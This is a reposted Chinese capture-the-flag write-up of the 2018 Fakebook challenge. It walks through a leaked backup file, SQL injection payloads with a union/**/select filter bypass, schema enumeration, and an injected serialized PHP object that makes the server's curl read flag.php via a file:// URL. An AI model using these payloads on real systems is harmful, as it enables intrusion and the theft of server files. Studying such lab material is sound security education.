ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[网鼎杯 2018]Fakebook

2021-04-19 17:31:31  阅读:243  来源: 互联网

标签:name no union blog 2018 网鼎杯 Fakebook public select


[网鼎杯 2018]Fakebook
题目:
打开环境,得到:
在这里插入图片描述
刚一来就直接整了两个最显眼的东西:
一个login,一个join
接下来就说说我做这道题的思路:
最初我是想随便注册一个join:
在这里插入图片描述
点击join,发现报错:
在这里插入图片描述
告诉我们blog是不合法的,那它应该是对blog做了过滤(盲猜应该有后台源码泄露,直接就拿扫后台工具扫一下:
在这里插入图片描述

发现有个/robots.txt与/user.php.bak,(心里狂喜

接下来直接访问就行了
得到:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

在这里插入图片描述
可以看到确实是对blog做了过滤的,所以直接构造符合正则的blog就好:
我这里用的blog是:

123.hhh

点击join,即可来到这个界面:
在这里插入图片描述
emmmmmmm
好像还是没什么线索,不过还可以继续点击我们的username,就试试看:

在这里插入图片描述
见鬼,这又是个什么界面?

不过在卡了一会过后,突然看到url上面出现了个no=1???,心里又是狂喜,(这应该是个注入点了
在这里插入图片描述
二话不说,直接开始进行注入:
首先输入了no=1',发现了报错信息:
在这里插入图片描述
确实是个sql注入点,并且可以拿到网站的绝对路径:/var/www/html/
接下来就是考虑如何进行sql注入了,先试下常规的爆字段吧:

.......
no=1 order by 4
no=1 order by 5

在这里插入图片描述
可以看到,字段数为4(居然没有任何过滤?)

接着就查找回显点:

no=2 union select 1,2,3,4

结果就报错了
在这里插入图片描述
看来还是进行了过滤的呀,慢慢测试发现是对union select这个字符串做了过滤,这好办,直接绕过union select的空格就好了,构造payload:

no=2 union/**/select 1,2,3,4

得到:
在这里插入图片描述
可以发现回显点为2,接着就要去爆库了,构造payload:

no=2 union/**/select 1,database(),3,4

得到:
在这里插入图片描述
可知库名是fakebook,继续构造payload:

no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

得到:
在这里插入图片描述
表名为users,继续:

no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

得到:
在这里插入图片描述
列名为:

no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

一下子出现这么多列,有点不知从何入手,不过可以靠逻辑推理来下手,我们已经知道了no,username,passwd,但还没见过data,所以就先从data下手,构造payload:

no=2 union/**/select 1,data,3,4 from users

得到:
在这里插入图片描述
可以看到这是一个序列化后的Userinfo对象(这怎么又成了反序列化的内容了??

emmmmmmmmm
确实有点没有头绪了,这个是序列化data后的内容,难道是要让我们传入反序列化后的data,最终得到flag?

但好像没有可以要反序列化的内容了,所以我总觉得丢了点什么,于是又从头开始缕头绪:

想着会不会是没扫到什么东西,于是又用御剑扫了一下:
在这里插入图片描述
果然,有个flag.php文件,访问试试看
在这里插入图片描述

好吧,什么都没有
然后又回到这个界面:
在这里插入图片描述
查看源码,hjh,原来还有个提示:
在这里插入图片描述
右边的iframe标签的src属性有个data:text/html;base64,,一看就知道是用了伪协议的
现在就有点头绪了,可能是想通过伪协议来访问flag.php,再输入反序列化的内容,然后在iframe标签里应该可以得到flag,说干就干:
先得到序列化的信息:

<?php
class UserInfo{
    public $name='o3Ev';
    public $age=1;
    public $blog='file:///var/www/html/flag.php';
}
$a=new UserInfo('');
print_r(serialize($a));
;?>

构造payload:

no=2 union/**/select 1,'O:8:"UserInfo":3:{s:4:"name";s:4:"o3Ev";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}',3,4

但发现报错了:
在这里插入图片描述
心累(实在做不起走了

然后我就把这道题放了下,第二天又才来继续肝的,于是又点进来了这个界面:
在这里插入图片描述

突然发现名字上面的username,然后想到第一天肝这道题时,查到这个位置回显点是2,也正好是那个表名的顺序,所以有可能select 1,2,3,4的对应位置就是no username passwd data的对应点,是不是也得试了才知道,构造payload:

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"o3Ev";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

得到:
在这里插入图片描述
可以看到页面正常了,说明应该是对了,接下来直接去源码查看iframe即可:
在这里插入图片描述
得到:data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tiMjRjMzA0Mi0xMmM3LTQ4NTYtOGZiYS03NzI0OGQyYjIyZmN9IjsNCmV4aXQoMCk7DQo=
直接base64解密就可以拿到flag

在这里插入图片描述

标签:name,no,union,blog,2018,网鼎杯,Fakebook,public,select
来源: https://blog.csdn.net/qq_51652864/article/details/115842262

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有